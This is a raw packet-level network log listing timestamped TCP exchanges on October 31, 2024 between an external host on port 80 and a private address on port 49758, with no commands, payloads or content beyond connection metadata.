Oct 31, 2024 07:14:32.990283966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990299940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990312099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990313053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990354061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990364075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990375996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990386963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990397930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990406990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990410089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990438938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990456104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990469933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990480900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990489960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990500927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990519047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990556955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990586996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990597010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990607023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990619898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990629911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990632057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990650892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990653992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990662098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990673065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990678072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990681887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990694046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990704060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990714073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990714073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990747929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990770102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990819931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990830898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990839958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990849972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990859985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990869999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990869999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990883112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990894079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990907907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990920067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990931988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990931988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990943909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990955114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990961075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.990988970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.990998983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991004944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991015911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991022110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991025925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991027117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991044044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991075993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991106987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991118908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991128922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991139889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991152048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991173983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991193056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991198063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991199017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991202116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991209030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991236925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991246939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991247892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991281986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991436958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991472960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991491079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991501093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991506100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991511106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991518021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991518021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991522074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991528988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991539001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991556883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991586924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991592884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991597891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991607904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991619110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991624117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991633892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991645098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991653919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991657972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991669893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991681099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991683960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991691113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991710901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991723061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991734982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991735935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991745949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991756916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991767883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991772890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991780043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991792917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991858006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991878033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991878986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991889000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991895914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991899967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991910934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991921902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991933107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991940022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991961956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.991976976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.991991997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992005110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992038965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992064953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992075920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992086887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992098093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992108107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992134094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992156982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992171049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992175102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992199898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992207050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992209911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992222071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992232084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992233992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992278099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992357016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992383957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992393970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992428064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992463112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992475033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992485046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992497921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992506981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992532015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992533922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992543936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992556095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992566109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.992585897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.992605925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.032783031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032797098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032814026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032840014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032850027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032865047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.032871008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032887936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032901049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032911062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032916069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.032927990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.032955885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.032980919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.032982111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.033020020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.108129978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108174086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108211040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108232975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.108241081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108247995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108253002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108263969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108269930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108275890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108280897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108287096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108328104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.108362913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.108946085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108958006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.108989954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.108997107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109006882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109025955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109040976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109042883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109052896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109071016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109076977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109081984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109092951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109103918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109105110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109122992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109127045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109144926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109164953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109174967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109180927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109184980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109195948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109205008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109209061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109231949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109237909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109242916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109252930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109255075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109282970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109297037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109301090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109311104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109321117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109332085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109344006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109361887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109386921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109432936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109443903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109476089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109529018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109539986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109549999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109561920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109572887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109575033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109594107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109617949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109635115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109675884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109677076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109688044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109716892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109761953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109774113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109785080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109796047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109812021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109834909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109846115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109847069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109858036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109880924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109899998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109915972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109926939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109937906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109950066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.109961987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.109998941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110028982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110039949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110050917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110055923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110066891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110074043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110100031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110126019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110131979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110141993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110152006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110162020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110173941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110178947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110184908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110213995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110230923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110230923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110241890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110253096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110263109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110269070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110301971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110307932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110316038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110327005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110338926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110353947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110373974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110415936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110426903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110435963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110446930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110457897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110461950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110464096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110485077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110522985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110529900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110541105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110551119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110563040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110572100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110579967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110590935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110593081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110604048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110613108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110629082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110651016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110661983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110663891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110671997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110685110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110702991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110738993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110745907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110758066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110774040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110785007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110790014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110796928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110824108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110838890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110852003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110858917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110862017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110872984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110897064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110924959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110928059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110939026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110949039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110959053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110970020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.110970974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.110981941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111015081 CET	49758	80	192.168.2.4	185.215.113.206
